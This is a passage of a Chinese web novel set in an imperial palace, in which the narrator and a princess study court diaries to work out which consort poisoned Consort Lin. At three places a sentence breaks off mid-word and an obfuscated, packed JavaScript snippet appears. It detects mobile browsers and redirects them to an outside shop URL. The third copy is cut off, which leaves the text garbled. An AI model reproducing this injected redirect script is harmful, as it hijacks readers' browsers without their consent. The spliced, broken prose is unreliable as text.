就在拉她出去挨打之时,珍嫔站了出来,一替静贵人说情,解释正因戏班子唱的好,才会引人入情,算是赞废后眼光之高;二又借戏班子刚刚唱毕的《汉明妃》行谏言,宽和贤明,方可辅佐江山,承后位之重。 或许珍嫔觉得自己说的很委婉了,静贵人的过错也实在不至于挨打,希望废后能借坡下驴,就此罢手。然而废后岂是好说话的主儿?当场暴怒,斥其牙尖嘴利不尊上位,其心可诛,其行较之静贵人更为可恶,便将笞刑转罚于她。 也即,珍嫔这次挨打,是替静贵人出头所致。好在,板子尚未落下,先帝获悉消息赶来,维护之际自然又与废后争执不休。 此事在先帝、废后、珍嫔、静贵人的起居注间均有记录,在后宫纷杂的情景中,算不得什么大事。但人物性情与关系,倒是可见一斑。 废后暴虐成性,果然不是冤枉,折辱嫔妃,毫无怜悯之心。这在任何影视剧中都该失宠的节奏,放到先帝后宫中,竟只是引发二人争吵,先帝竟无任何处罚贬斥之举。 当时是康元十三年,太子尚未监国,胡氏外戚也远未成气候。也即,废后身后的势力,并不是此时先帝宽宥的缘由。而就之后废后对其他嫔妃的狠厉来看,她也并无触动,依旧我行我素。 这说明什么?帝后失和、夫妻离心、另有爱妃或许都是真的,但先帝心中,对废后还是充满了感情,才会一而再再而三的宽容放任。 至于珍嫔,明知废后脾气暴躁,当日冒着风险也要替静贵人说话,固然有她是宠妃的底气,大抵也是因为静贵人与其交好,是闺蜜好友的缘故。 我索性将静贵人的起居注翻开,不出所料看到了“太妃”字样。 没错,这个静贵人,就是三殿下口中的“静太妃”,也即去年主动跳出来的第三个凶手。 较之其他在先帝时期就去世的同伴,她的记录丰厚的多,不过大多都伴随着“胃口不佳”“传太医”“久病未起,无进食”等记录。 待到先帝去世,她从静嫔晋为太妃后,记录也基本没变,除了增加了大量重复的“礼佛抄经”“陪侍慈宁宫”。 而康元十五年一条记录“八月初一,皇六子早夭,年不满三岁。静嫔哀恸未进食。”也能和她自称的动机相对应。 这么看来,早夭的孩子的确是静太妃的心病,她为此不思饮食、不顾自身。那么,因嫉妒做出害人之举,也不意外了。而事后的礼佛行为,的确可以看作是忏悔,是赎罪。 我悄然阖上静贵人的起居注,一个想法油然而生。 珍嫔与静贵人往来经常,关系密切,从起居注中不难看出。或许,谢宁轩说得对,这真的就是太后在得知她居然杀了自己另一好友时而崩溃病倒,事后不愿再查的缘故。 手心肉手背肉,太后夹在中间极其痛苦,不敢面对。索性便将往事封存,反正斯人已逝,追究到底,若是发现好友其他不堪该怎么办?亦或者,查实了她的罪行,难道还能开馆鞭尸,在史书上落定她的罪恶吗?琳妃已去,是谁杀的,真的重要吗?毕竟废后、淑妃,对她,也实打实下了毒手的。 或许是我想多了,太后在此事上的私心,或许并无苟且。 但从圣上不愿罢休,硬要谢宁轩查出个所以然来看,养母之死的玄机,他是无论如何不愿囫囵吞枣的。 我叹了口气,再次翻开先帝的起居注,继续阅读起来。 “康元十五年六月初二,波斯国进贡螺黛,上赐皇后、珍妃。” 十三年还是嫔,十五年已经升为妃阶,珍妃果然受宠。 “康元十六年二月十五,西山围猎,上携后妃同往。时多荣公主伤风,琳妃照拂未去。” “康元十七年八月初八,珍妃携皇五子请安,上赐如意、琉璃屏风。” “康元二十年七月初二,广西进贡罕见瓜果,呈绿色,上喜,食之。时珍妃请安,上赐之。” 林林总总,先帝的记录实在有些庞杂,这些人物和事件,似乎不太好分辨重要性呐。 我瞧了一眼窗外天色,心说还是抓重点吧,便索性搁下先帝的,转头翻阅起了琳妃的记录。 “康元六年五月初八,上召沈氏女,初封琳采女。” 沈氏?琳妃姓沈啊?入宫只是采女,身亡时已经封妃。难怪三殿下说先帝宫中尤以她和珍妃荣宠之最,引得淑妃嫉妒了。 “康元七年十一月十一日,琳采女诞下一女,晋琳贵人。上赐公主封号多荣。” “康元十三年五月初四,琳贵人诞下一子,晋琳嫔。皇子序位第七。” “康元十四年三月二十六,皇七子早夭,琳嫔哀恸未进食。” 果然,琳妃与静贵人同病相怜,也失去了尚在孩童时期的儿子。 “康元十五年六月初三,珍妃赠与贡品螺黛,后悉,罚之。 ” 贡品螺黛都和琳妃分享,当真是好姐妹。不出所料,也果然被废后罚了。 除此外,琳妃的记录中,出现最多的则是“召见太医”,她似是体弱多病,经常身体不适。 “康元十一年二月初六,上临朱雀宫,东厢涂抹新漆,上不喜气味,未用膳即出。” “康元十一年二月初九,琳嫔病,肤露红疹,其兄探望,后传太医。” “康元十四年上元节,后领诸妃赏花灯,琳嫔不撑,中途告退。后恼,罚跪。琳嫔昏厥,传太医。” “康元十五年中秋,后领诸妃于御花园中赏景,琳嫔昏厥,传太医。” 好嘛,废后本就跋扈,偏这琳妃总在废后统领后宫展示权威的时候,要么晕倒要么撑不住告退,能不惹她生气吗? 得,你看,处罚记录又是密密麻麻,数都数不过来。更不乏有珍妃为她叫屈、陪伴共受责罚的记录。 这也侧面说明了,高岭之变当夜,废后给圣上下毒时,缘何毫不顾忌可能同饮的琳妃了。 另则,记录中大篇幅记载的,当属琳妃对孩子的母爱了。事必躬亲,凡多荣长公主或皇五子——即年幼的当今圣上——有点小病,她每每亲自相陪,用心照料,连饭也顾不上吃,等孩子们病愈,她自己可就又病倒了。 “康元十二年四月初五,多荣公主伤风,琳贵人日夜照拂,未进食。” “康元十二年四月初六,琳贵人病,无法起身,传太医。” “康元十六年一月初七,皇五子患温病,琳妃日夜照顾,未进食。” “康元十六年一月初九,琳妃病,其兄请见未允,传太医。” 扶风弱柳,身子骨不太行,偏又爱子甚之不顾自身,也难怪有生母在侧的圣上会对养母如此爱护、如此上心,以至于多年后还为了她的死因秘密调查。 另外,谢宁轩在金华见到的宫人冰清,在起居注中也有所体现。 琳妃入宫时带了两个贴身丫鬟,按照宫中规矩,内廷司并拨有数位外围丫鬟,冰清便是其一。一般来说,这种外围丫鬟都成不了主子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439311|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心腹,干满年限也就放出宫了。 偏康元十年,京城爆发疟疾,琳妃携带的两个贴身丫鬟相继感染离世。麻利能干的冰清,就此成为朱雀宫大丫鬟,掌管一宫事宜,并陪伴琳妃走到了妃位之尊,这本是幸运之事。 然而不幸的是,康元二十年,废后也盯上了她。 出于谋划的需要,废后以她全家生命为要挟,那晚她还是挣扎着将毒放进了酒中。 “既是贴身丫鬟,她没有看到琳妃喝没喝酒吗?”这是进宫前我问写宁轩的。 “皇子居所传来消息,还记得吗?说最小的皇子生病了,先帝挂心去瞧,琳妃也想陪伴同去。” “因她尚疲倦,先帝不是心疼她,没让她跟着吗?” 谢宁轩点头:“是。但琳妃还是派了个丫鬟去。” “啊!就是冰清?所以她下毒后,却没在跟前候着!根本不知琳妃进没进酒,喝没喝汤?” “义妹猜得不错。”三殿下道,“冰清本性不坏,也没想着背叛,实乃被迫为之。因而她回来后看到主子已逝,惊慌失措,当即便去向胡氏复命。胡氏闻之先帝未饮,极为恼怒,直接命人结果了她。” “啊,她死了?”郡主震惊。 三殿下白一眼妹妹:“当时就死了,宁轩去金华找的是什么,鬼吗?” “哦。”郡主搔搔头,悻悻坐下。 谢宁轩莞尔,解释道:“她的确被灭口。只是紧跟着就开始了叛乱,宫城内乱作一团,下手勒她的太监没有察觉,她并未死绝。当日冲突后,宫城内死伤无数,叛军将尸体一股脑全扔去了城外的乱葬岗。她便是因此混出宫墙,逃出生天的。” “哇,这也太险峻了!还好没死!”郡主惊叹,“只不过,如此隐秘之事,你们是怎么查到的呢,还追去金华,真的被你摸到首尾?” “也是巧合了。”谢宁轩坦诚,“我接到查案密旨后,一度思绪混乱,不知该如何下手。翻查高岭之变当夜记录,我很快意识到当晚除了先帝带人逃离皇宫,被摞成摞丢到乱葬岗的尸山,则是另一种离宫的群体。或许,先帝反击之迅速,就因有人趁机藏身外逃,予以接头?” “这其实和琳妃之死关系不大。”三殿下絮道,“所以宁轩当日想到此,也只是顺带查查,没当做主要环节。因为京中一直有宵小以偷死者身上财物为生,找到一两个上了年纪的老油子并不难。” “本以为只是闲话问问,却没想到其中一人为脱罪,自承二十年前于尸山中救出一位姑娘,偏生描述、口音、姑娘为了报答他而留下的簪子,都那么巧,能和宫中为数不多的南方宫女相对应。” “冰清便是来自南方。此事关系自己和家人的生死,她逃出后不敢在京中逗留,又牵挂家人安危而回乡,这有什么难以预料?”三殿下摆摆手,“接下来便是漫长的调查过程,根据丫鬟入宫的记录在当地寻人,也不是那么容易,否则我们能查了大半年才有进展吗?好在结果是好的,和宁轩的推测不谋而合。” 也就是说,作为亲手下毒的直接凶手,冰清的供词坐实了废后的罪行。无论琳妃真实死因为何,废后当日是实打实下了毒的。 难怪谢宁轩会说,这趟南下解决了他的一个疑问,于整体案件,却远不算突破。 回忆收起来,我意识到,现在的问题是,淑妃在汤中下毒,是真的吗? 较之静太妃自陈亲手掐死琳妃的说法,淑妃对琳妃下手,也是通过下毒,假手于人的。但她可没有买通琳妃的丫鬟呀。 那么,是谁替她干了这恶事,事后又怎么掩盖的呢? 这么想着,我便将淑妃的起居注挑出,先行翻阅起来。这不看不知道,淑妃的记录,可比静太妃、琳妃有意思多了。 147.厨子 “康元十三年五月初八,淑妃因不喜云锦花色,绞烂。宜嫔同。” “康元十五年六月十九,淑妃传戏班,未悦,未赏。” “康元十七年七月初六,淑妃生辰,皇后赏赐,因未及时前去谢恩被罚默书静心,恼,责打丫鬟。宜嫔在钟粹宫设宴劝解,未果。” “康元十九年九月十三,淑妃恼琳妃侍寝,责打丫鬟,鞭刑。” 鞭刑?好家伙! 合着你淑妃和废后一个路数,都是暴虐残酷之人呐。 按照律法,皇室诸人无权过问及修改起居注,这才能将很多真实情况留下来。否则那笞刑、这鞭打的记录,今天的我是肯定看不到了。 这也侧面说明了淑妃的火爆性格,难怪嫉妒上头,竟敢对其他妃嫔下毒手;难怪儿子兵败后,她还能冲去嘲讽赢家。 而众多记录中,尤以一条最有深意——“康元十六年腊月十三,淑妃荐同乡至御膳房,上喜其手艺,食珍丸汤两碗。” 御膳房……嘿,这不就和谢宁轩他们查到的一条线索契合了吗? 这一年来,他们对二十年间陆续出宫的宫人全部追查过,在御膳房厨子的调查中,其中一个耐人寻味。他的家人称,这厨子大约在圣上登基第二年离宫,在世时始终惶惶,似乎在畏惧什么,没多久就死了。 登基第二年? 第二年便是三王之乱爆发之时,同年淑妃母子兵败。这厨子偏巧同年出宫,还惶惶不可终日? 看来,此人便是先帝时期被淑妃引荐入宫的同乡了。 那么,淑妃能在琳妃饮食中下毒,便也说得过去。而之后爆发高岭之变,又有废后承担了琳妃之死的罪行,淑妃及该厨子,自然不必忧心。 及至淑妃母子作乱就擒,厨子生怕当年恶行被揭露,匆匆离宫惊惧而亡,也都顺理成章。 但事实果如淑妃临终挑衅所称,琳妃系喝了她的毒汤而亡吗?我想起刚看过的琳妃记录,其中一条起居注,恐推翻了淑妃所言。 “姐姐,你看这儿。”我将册子递给郡主,“康元二十年七月初一开始,琳妃就一直在照顾患了腿疾的多荣公主,元谪太子生辰宴都没去。她自己随后就病倒了,太医叮嘱要饮食清淡,好生养着。但医嘱方子就在这儿,你看,哪里有说不得饮酒了?” 郡主翻阅半晌,也纳闷道:“是哦,这之前有些方子确实明确写了忌酒。可康元二十年这个方子,还真没有特别叮嘱呢。” 我将手上的记录又换了一本:“你再看这,废后胡氏的记录中倒是写着,胡氏每每饮酒皆骨痛,故康元十三年后就从不饮酒。呐,这一条,她还处罚过带着酒气到她宫中问安的妃嫔。所以说,先帝宫中保证不会死于毒酒的人,是废后胡氏,却未必是琳妃。” “可淑妃言之凿凿……啊,义妹,淑妃其人性情飞扬、脾气火爆,闻得儿子兵败自裁,她不会因一时愤慨仇视,想要求死,而故意说她下了毒吧?” 郡主果然也发出了同样的疑问。 不过结果,还是比较明了的。 我指着琳妃的起居注道:“琳妃之死是圣上和太后心头的刺,淑妃确实可能故意提及,以激怒他们、恶心他们。但那晚发生了宫廷政变,情况太复杂了。姐姐你看,这是当晚琳妃的饮食。” 毛肚豆腐花、辣拌金针、醋火腿、如意三宝、青笋肉丝、鲜泼鱼尾、酒糟圆子、玫瑰酿,还有一道解暑绿豆汤。 “翻阅她之前大半个月的饮食记录,就能看出,她的晚膳很少有汤。而淑妃却能准确说出毒下在汤中,就说明她必然清楚琳妃当晚的饮食,这一点,做不了假。” “那……” “淑妃与琳妃不和,从起居注中也能看出。她没理由关注一个不喜欢的妃嫔的饮食。从了解程度来推断,当晚她的确下了毒。但琳妃喝汤与否、饮酒与否,她未必拿得准。之所以言之凿凿,无非想要让太后和圣上不痛快,哪怕气气他们也好。” 郡主嘴角颤颤:“淑妃这性子,还真是……这么说,今天查了半天,结论还是三个凶手都有行凶可能?没能化解任何一个人的嫌疑?” “破而后立,不断推倒重来,才叫查案嘛。”我拍拍郡主的手背,“别着急,咱们不可能一下找出破绽,但搞清事情脉络的过程,就能离真相更进一步。” 郡主撇撇嘴,失望的再次捧起珍妃的起居注,打算再看。然而这时,窗外回廊传来了动静:“……在里面,在里面呢!阳远郡主就是来查个记录。” “混账东西!能让郡主亲自查吗?你们这帮懒东西,真是……” 郡主“唰”的将手上起居注塞回到架子上,跳起来道:“快,易主簿回来了!快,收拾了到前面去!” 我跟着麻利的整理好卷册,和郡主拉着手就朝前面的架子奔。幸而回廊长且绕弯,等易主薄推门之际,我和郡主已立在前两排,好整以暇地阖上册子。 “呦,郡主呐,您真在这儿呢!哎呦,这粗活哪能您自个儿干呐,支使两个丫鬟不就行了?老奴这一时疏忽,您看您,怎么就让您在这儿翻阅了,灰尘这么大!呦,您瞧您这袖子……” 易主薄果如郡主所言,一见面就开始了滔滔不绝的恭维。 郡主早习惯了,自如的应付着,顺口说找到结果了,无需他再来帮忙。一面又找借口,说记录不够详实,没记载清楚材质,她还得回去再核对核对。 这是为我们下次还能进来翻记录铺垫呢。毕竟今日被打断,肯定不能在此逗留了。但起居注过多,今天的翻阅,远不够理清先帝后宫的人与事。 回去路上,郡主便问我,下次打算什么时候来。 我想了想,还是得隔些时日,否则太惹眼了。便道:“等些日子吧。你今天查看了谁的,咱们回去理一下,把脉络里出来。” “我看了太后的!”郡主兴奋的说,“很有意思呢,我回去告诉你!好些她仗义帮人的往事,我瞧着若是提起,能哄她老人家开心呢。 ” “别贸然提起。”我提醒道,“这些旧事,你不该知道的。突然提起,不是不打自招你翻了往日记录吗?” “哦……”郡主拖长了尾音,“那我撺掇太妃提起呗!太后宽仁体恤晚辈,每年冬至后就停了后妃的晨昏定省,只初一十五前来问安。不过太妃们每三两日总要来慈宁宫坐坐,到时候我引导一下,不就能让她们提提旧事,帮你找找线索了嘛。” 也是个路子。就怕没那么容易,毕竟太妃们相伴太后多年,对她的性子喜好约是摸得很准,她忌惮提起的话题,想必不会轻易讨论。 虽这么想,我也没泼郡主冷水,只叮嘱言语分寸。郡主点头称是,与我热切的讨论着。 此时,我二人走在甬道内,天色已黑,四处挂上了并不明亮的灯笼。郡主自小常来往于宫中,对此熟捻,并不觉察。 我倒是心中泛起嘀咕,总觉得漆黑幽长的甬道,十分没有安全感。 尤其当身后响起轻微的响动,我心跳加剧,立时转过身去,喝了声:“谁在那里!出来,我看到你了!” 一片寂静。 郡主狐疑的回头瞧瞧,拉住我的手偷笑:“义妹,你怎么胆子都变小了!哪有什么人啊,杯弓蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448728|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影了吧!” 甬道唯有风声偶然一啸,不见任何踪影。 是我多心了?我怎么总觉得被人窥探,脊梁发麻呢? “哎呀!前后都有羽林军把守,每个时辰四五次巡逻呢!你担忧个什么劲!这可是皇宫!天下最最安全的地方啦!” 我又眯眼细瞧了瞧,果真没什么蹊跷。 看来我是自己吓自己了。 毕竟来到了传说中的皇宫内院,这里到处都是随口就能定人生死的高贵主子,即便一再暗劝自己莫怕,有郡主在侧万事无忧,但内心还是不安。 我只能深吸口气,骂自己一声胆小鬼,努力将畏惧抛在脑后。 回到慈宁宫,正是吃晚饭的时点,太后一听郡主逛了一圈还没蹭顿饭,立时心疼,招她前去共用。 一个又一个的餐盒掀盖,猪蹄、鸡腿、肘子、黄花鱼……眼花缭乱的精致摆盘,香味扑鼻的地道做法,妈呀,馋死我算了! 梅江姑姑一一银针试毒后,方为太后与郡主递上了筷子。 我大略一数,足足十二道菜。真是奢靡。 “丫鬟”的待遇就天壤之别了,得等主子吃完饭,才能趁着换班草草扒拉几口。为防主子随时差遣,当班的日子,都不能躲在屋中偷懒,随时得到廊下候着。 郡主怕我饿了,倒是吃饭的半途就找借口打发我回屋,那里装着来时带的各色点心,这是叫我先垫巴几口呢。 我也没客气,忙活一天早饿了,索性趁着没人注意溜回屋子,连蜡烛都没点,就先狼吞虎咽起来。 谁知,我的无心插柳倒让我听到了一段壁角。虽然此时看来,没什么太大的作用。 是两个小丫鬟在廊下等着被差遣,见我屋中没点灯,以为右侧殿都没人,放心的嘀咕着郡主的闲话。 一个先提起了太后看中的三两人选,一个又说太后还是不满意,自己又驳回了。我竖着耳朵听了半天,等于个零。 聊完了这一趴,一个话锋一转,又提起太后为二公子选的世子妃人选。 “二公子似乎不情愿呢,我瞧他出来时,脸掉的厉害。” “哪呀,哪是因为这个。我不是进去奉茶了吗?我听到太后说‘不行’,似乎是没答应二公子的要求。” 小丫鬟来劲了,八卦的问:“怎么,二公子已经有喜欢的姑娘,这是特意来讨恩典了?” 这话落在我耳中,吓我一跳。 另一个小丫鬟却摇头:“不不,不是为了人。我听见太后说‘太危险了,不许去’。听起来是二公子想干什么,太后不答应。 ” 还好还好……诶,我怎么这么自作多情?想啥呢! 在心里鄙夷自己一番,就听俩小丫鬟又换了个议论的主儿。 “……抄了那么久,没亲自献上。肯定可惜的呀。” “太后也未必在意。都知道太后笃信佛法,多少人想凭借这个获得青睐呀!他也就是抄的勤抄的多,太后才肯给些好脸。之前都气成啥样了?” 额,这是说谁呢?我咋听不懂了。 “你瞧,郡主一来,是不是知趣的走了?郡主什么人呀,才不会给他好脸。” 知趣地走了……咦,难道这是在说今天下午来的那个宫装女子?什么叫“郡主不会给她好脸”?郡主和宫中妃嫔公主关系都很融洽,有跟谁特别不对付吗? 我听得糊里糊涂,也不知道自己猜测的人物关系对不对,咽下口中糕点,我往窗户下又凑了凑,想听个清楚。 这时,宫门却传来叩响声,有太监拉长的声音响起:“皇后娘娘前来问安。” 148.话本 皇后也来了? 手上糕点差点砸掉,我懵逼两秒,犹豫着是不是该冲出屋子叩拜行礼。 慈宁宫院中下人都跪了下来,就见一身着红色宫装的女子在丫鬟的搀扶下绕过影壁。 这一幕似曾相识。较之中午来人,皇后穿着明显华贵许多。头顶是简单的堕云髻,插着几只或金或玉的发钗,望之并不繁多,但就是透着满满的雍容气质,令人不敢直视。 她走姿端庄极了,背脊挺直,脚步细碎,在一众下人的簇拥下,像是画中走出的女子。 然等我的目光停留在她的面容上时,却有些意外。三停五眼,轮廓骨相,竟不觉得多么出彩。皇后长相寡淡,勉强赞一句简净温婉而已。 偏这时,我的脑海中又莫名出现一张模糊的面孔,一闪而过,我都没看清具体长相,但就是觉得明艳许多。 奇怪,我这是想起谁来了? 我在窗边偷窥着,看到梅江姑姑自正殿走出,迎了上去。郡主没有出来,大约是太后爱护,免她刻意出门行礼。 梅江姑姑停留在皇后身侧,低声说了什么,皇后颔首,二人便前后脚入了正殿。紧接着,我便听到了郡主娇俏的呼声,向皇后问安。 我松了一口气。慈宁宫下人众多,各个都下跪叩头,我这个新来的“丫鬟”也没被人惦记,得以藏在屋中免了膝盖受罪。 皇后一来,郡主少不了陪着唠嗑,八成要送走皇后才会回屋。那我还是好好猫着吧,别被人发现了。 我这么想着,轻轻活动了手脚,再次坐在窗户下,在黑暗中默默咂摸点心。 窗外,两个小丫鬟也随着皇后入殿而起了身。许是皇后仪仗停在影壁前后,贴身宫女又跟着进了殿,没人注意廊下,她们俩竟然再次悄声嘀咕开来,又展开了新一轮的八卦。 这次,主题定格在皇后身上。 “来的勤,也没晚上来过。这是瞧郡主在,也想示好?” “嗨,那有什么用,三殿下和轩少爷走得近,郡主肯定也不高兴呢。” “那你说她事先知情吗?”一个压低了声音,“我那天可听见,她对太后言辞恳切,说什么自作主张,并非家人指使呢。” “太后信了吗?” “我瞧着不怎么信……又或许压根不想理会?反正太后冷冷的,说没几句话就打发了。也真是的,轩少爷从来都是太后心头肉,这怎么敢呀,公然上书参奏轩少爷。” 这没头没尾的对话让我一愣,旋即才反应过来,对哦,皇后也是陈家的,是陈尧昇的姑母嘛,难怪小丫鬟提起这事来了。 谢宁轩深受太后宠爱,是祖母对孙子的宠爱,无关于朝政。 当然,作为青朝的太后,她自然也会过问参奏内容,或许见了面还得指责孙子几句。但那也是关了门的自家人自家事。 此番被外人公开置喙指责,置孙子于风口浪尖,迫圣上不得不表态责怪,太后当然不高兴了。 听这意思,太后是迁怒皇后了。 而皇后辩解,陈尧昇此举,陈家并不知情? 说实在的,陈尧昇干嘛当出头鸟去参奏谢宁轩,我还一直没想明白。后者违背皇命一再带女子出入刑案现场,的确是过错。但明眼人都能看出,圣上太后偏爱谢宁轩,怎么也舍不得就此重罚他。 那干嘛要揪着这事不放,干嘛要针对谢宁轩呢?“女捕快”有没有,“女子入仕”能不能实行,大青朝会不会设立“女官”,陈尧昇当真是关心这个吗? 我总觉得,陈尧昇,或者说指使陈尧昇的背后之人,意不在此。 可惜二公子跟踪这么久,只摸到了个轮廓,那日大致向我形容了与陈尧昇频繁对接之人的长相,尚不清楚身份。 而我将此消息告知三殿下后,他露出了微妙的表情,我一时也没参透缘由。 现在皇后这么说……原来陈家事先不知陈尧昇此举的啊? 谢宁轩曾给我普及,陈家自大青开国,就有子嗣入朝为官,算得上百年清流世家。然日落西山,对比当年的盛况,如今惨淡多了。 这一方面是源于陈家子嗣稀薄,另一方面也是由于陈家的祖训——心直则官可至,党附则失于民——所致。陈家世代教育子孙为官应忠直,不党附,不攀争。文人风骨可见一斑。 但五年前,陈家子嗣陈尧昇,却配合圣上演了出戏,之后又伪造淡泊名利的人设……这似乎又与陈家教育宗旨相去甚远。 是陈家担忧再不扭转颓势,就要从凤尾掉到鸡群里了?故而以陈尧昇交投名状,违背祖训了?陈家与圣上,在五年前的逆案平反中,是各取所需,达成一致了吧! 陈尧昇入书院既是圣上刻意安排的,那么,总得有出仕之日,并大抵不会从低阶干起,恐怕直接就能进入核心部门,扶摇直上。陈家借此便可回归权力的内圈,重振家门。 可陈尧昇没有经过陈家、圣上许可,突然弹劾谢宁轩,这又是为什么? 我真是看不懂了。 待皇后走后,郡主回屋,我便急忙抛出问题,期冀郡主能给解答。然而郡主所知寥寥,只说太后确实迁怒皇后,后者还呈交了自家老夫人一封情真意切的陈情书,太后读了不置可否,也没表态。 “进宫前,义兄也没就此说过什么?” “没有呀。”郡主想了想,“只吩咐我就当什么都没发生,别因此对皇后不尊。在宫中,过去什么样,这次还该什么样。” *** 次日一早,我卯时不到就起床了。作为宫中的丫鬟,得在主子起床前收拾好自己,并为主子备上茶水面巾,时刻候着。 这时节早上依旧很冷,我靠在门框上,冻得鼻子都发红了。以至于郡主借口遣走所有外围丫鬟后,拉着我坐在火炉前暖和好一阵儿,我才缓过来。 “好点了没?”郡主握着我的手,瞧瞧窗外,似乎有脚步声纷沓响起,“咦,太妃们来请安吗?这么早?” 我一惊,什么,又来请安?那我岂不是又得僵在正殿中,扮演木头人了? 然而出乎预料,来人敲开慈宁宫门后,竟是个男子身影。 “是哥哥!哥哥怎么来了?”郡主一眼就认了出来,跳脚起身,“咦,我住在宫中时,哥哥一向甚少来探望的呀。” 说话间,郡主已奔了出去:“哥哥,你怎么来了?” 来人正是穿着官服的三殿下,勃然英姿。他朝妹妹打量两眼后,就向刚刚跨过门槛的我望来。不易察觉的点点头,他语气平淡:“上朝前来向太后请安。春分快到,要安排宫中祝祷,今日我想在朝上提起。” 大青朝廷看重节气,关乎民生粮食的几大节气,每年圣上都会亲赴天坛,主持祭祀典礼。而宫中,本应由皇后沐浴斋戒,于宫中礼佛堂祈祷。但圣上原配皇后去世后,后位空悬多年,太后本就信佛,便承担起这个任务。 及至继皇后继位的五年,依旧是太后作为内宫女眷之首行此仪式。 春分就在几日后,这也在我们的计划内。届时太后斋戒,需于大佛堂内闭关两日,往年遇到这种情况,郡主有时便住到贵妃,或者交好的某位公主处,不回慈宁宫中住。 也即,这是一个很好的夜不归宿的机会。 一些白天无法正大光明去的场所、翻看的材料,如果前期我们找不到机会,就得在那两夜完成了。 所以此时三殿下来,我们真以为他是如自己说的,来找太后请示春分那日的安排。熟料进殿后不久,他就出来了,还从怀中掏出一本书递给妹妹。 “呐,刚巧昨晚新鲜出炉的,偏偏你进宫了,哥哥我便给你捎来了。” 《蝶之恋—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻去岁许知府夫人病重,你曾见她一面,以太岁入药痊愈,数位医者皆称奇。书院院长今突发恶疾,用保守方子,家门内血缘亲近之人眉心血为药引,辅以老鹤草,川太浓汁洗身,国子监枫树下祷告百日,无他效。若你处赏赐的太岁还在,无有他用,以红线红纸包装,利索递来。 宁轩。” 郡主一字一句看完,直接懵了:“太岁?许知府?这、这说什么呢?许知府是哪个啊?” 我读懂了。只关心一句:“这里说你处原有个赏赐的太岁,是真的吗?” “啊?”郡主挠挠头,糊里糊涂,“好像是有吧,隐约记得哪年太后赐过。那又怎么了?宁轩哥是真的问我要太岁?递进来个信,就要个这?” “你去年可有探望某位重病后又痊愈的夫人?” “啊?”郡主张张嘴,“这、这……可能有吧……许知府,许知府……啊!去岁我陪多荣姑姑,好像是去瞧过哪位夫人,就是姓许来着……她夫君外派出去做知府了?这我也没留意啊。” 没关系,有这个人,有这个东西,谢宁轩的来信就完美了。 这家伙,脑子真好使。 我微微一笑,将信折叠,伸到了尚未吹灭的蜡烛之上,任它化作灰烬。 郡主都方了:“怎么就烧了!他写的什么我还没看明白呢!最后说什么?用什么包着送去来着?” “没事姐姐,不必放在心上,也不用真的准备太岁。这封信既由三殿下交给我们,现又烧掉,已是万无一失。” “啊?义妹,什么意思啊?这信……” 话没说完,外间传来敲门声,有丫鬟禀告:“郡主,太后让您去用早膳。” 郡主“哦”了一声,不情愿的站起身,一面口中比划,叫我稍后务必全盘告知她。 然而等我们总算离开慈宁宫前往太医院调查时,郡主可又发现了另一桩大事,令人震撼。 149.太医院 事情是发展在我们前往太医院的路上。 郡主本挂心谢宁轩信件的深意,但太后早膳时再次提及的郡马人选,又触动了她的心弦,令她深感烦躁,一出慈宁宫就抱怨不已。 我不禁问:“太后这是打定主意,要在义兄完婚后,就给你指婚了吗?” 郡主丧丧道:“估计是吧……拖,又能拖到哪天呢。” “那,”我犹豫着,还是说道,“要不你找机会与她提及的几个人选碰碰面接触接触?一来看看是否有眼缘,二来也能考证人品。” 郡主对“眼缘”二字颇有兴趣,歪歪头,露出些笑意:“这倒是个好主意,可以提前去瞧瞧长相嘛!太后夸得跟什么似的,其中一个我就见过,管他学富几车,光那猪肝酱色的晦气长相,我就不能答应!” “猪肝酱色?哈哈哈,这什么形容!” “真的嘛!那叫一个丑!” “那姐姐到底钟意什么样的长相,什么样的性子呢?” 郡主犯难了,也不知道是并无条条框框的择偶标准,还是这直白的问句多少令她害羞了,总之支吾几声,她还是换了个话题。 “嗯,那个……算了算了,不说这个了,我知道怎么应付太后啦。那个,哦对!你还没告诉我呢,宁轩哥写的那纸条,到底什么意思?” “哦,这个啊。”我看了眼正从我们身边走过的羽林军,默默吞下了尾句,想等走到无人之际再说。 郡主却心急:“哎呀没事,他们离得远,也没胆子听主子们说话啦。你真要找个没一双耳朵的地儿,在这宫中,还真不容易呢。” 说着,郡主就抬头,朝不远处城楼站岗的羽林军士兵伸出手,“呐,不光路上,那些地方也都站着士兵,哪里能完全避……咦……” 郡主忽然变了声,脚下一顿。 我不明所以,一面问着怎么了,一面顺着她的目光朝城楼上望去。就见城楼东西栏杆两处,各站着一个身穿金色盔甲的羽林军士兵,手持长枪,威武挺拔。 晌午的阳光正明媚,打在左边那小哥胸前的盔甲上,耀眼夺目。我眯了眯眼,眼神定格在光亮上方一张极其俊俏的脸上,不禁恍惚出神。 耳边,是郡主努力压低的惊呼声,自耳道钻进脑海,足足停留了五秒钟,才被我的大脑真正理解。 